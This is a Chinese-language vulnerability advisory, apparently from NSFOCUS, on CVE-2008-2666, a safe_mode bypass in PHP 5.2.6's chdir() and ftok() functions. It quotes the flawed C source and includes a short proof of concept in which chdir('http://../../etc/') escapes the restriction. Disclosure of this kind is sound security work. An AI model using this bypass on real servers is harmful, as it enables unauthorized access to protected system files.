安全研究
安全漏洞
PHP chdir()和ftok()函数绕过safe_mode限制漏洞
发布日期:2008-06-18
更新日期:2008-06-19
受影响系统:
PHP PHP 5.2.6描述:
BUGTRAQ ID: 29796
CVE(CAN) ID: CVE-2008-2666
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的chdir()和ftok()函数中存在多个绕过safe_mode限制漏洞。
在chdir()函数中:
- ---
PHP_FUNCTION(chdir)
{
char *str;
int ret, str_len;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str,
&str_len) == FAILURE) {
RETURN_FALSE;
}
if ((PG(safe_mode) && !php_checkuid(str, NULL,
CHECKUID_CHECK_FILE_AND_DIR)) || php_check_open_basedir(str TSRMLS_CC))
{
RETURN_FALSE;
}
ret = VCWD_CHDIR(str);
if (ret != 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s (errno %d)",
strerror(errno), errno);
RETURN_FALSE;
}
RETURN_TRUE;
}
- ---
safe_mode检查了str,例如:
- ---
Warning: chdir(): SAFE MODE Restriction in effect. The script whose uid
is 80 is not allowed to access / owned by uid 0 in /www/mb/mb.php on
line 8
- ---
用户可以在当前目录中创建http:子目录,因此可以创建http://../../../../../../ 。
TRUE==((PG(safe_mode) && !php_checkuid(str, NULL,
CHECKUID_CHECK_FILE_AND_DIR)) || php_check_open_basedir(str
TSRMLS_CC)))
对于str="http://../../../../../../" ,safe_mode会忽略所有带有http:// 的目录。
ftok()函数中也存在类似的漏洞。
<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
链接:http://marc.info/?l=full-disclosure&m=121382030225061&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("/etc/");
echo getcwd()."\n";
?>
cxib# ls -la /www/wufff.php
- -rw-r--r-- 1 www www 62 Jun 17 17:14 /www/wufff.php
cxib# php /www/wufff.php
/www
Warning: chdir(): SAFE MODE Restriction in effect. The script whose uid is 80 is not \
allowed to access /etc/ owned by uid 0 in /www/wufff.php on line 3 /www
cxib#
- ---/EXAMPLE1---
- ---EXAMPLE2---
cxib# ls -la /www/wufff.php
- -rw-r--r-- 1 www www 74 Jun 17 17:13 /www/wufff.php
cxib# ls -la /www/http:
total 8
drwxr-xr-x 2 www www 512 Jun 17 17:12 .
drwxr-xr-x 19 www www 4608 Jun 17 17:13 ..
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("http://../../etc/");
echo getcwd()."\n";
?>
cxib# php /www/wufff.php
/www
/etc
cxib#
- ---/EXAMPLE2---
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:2501
严重程度:0(网友投票)
绿盟科技给您安全的保障
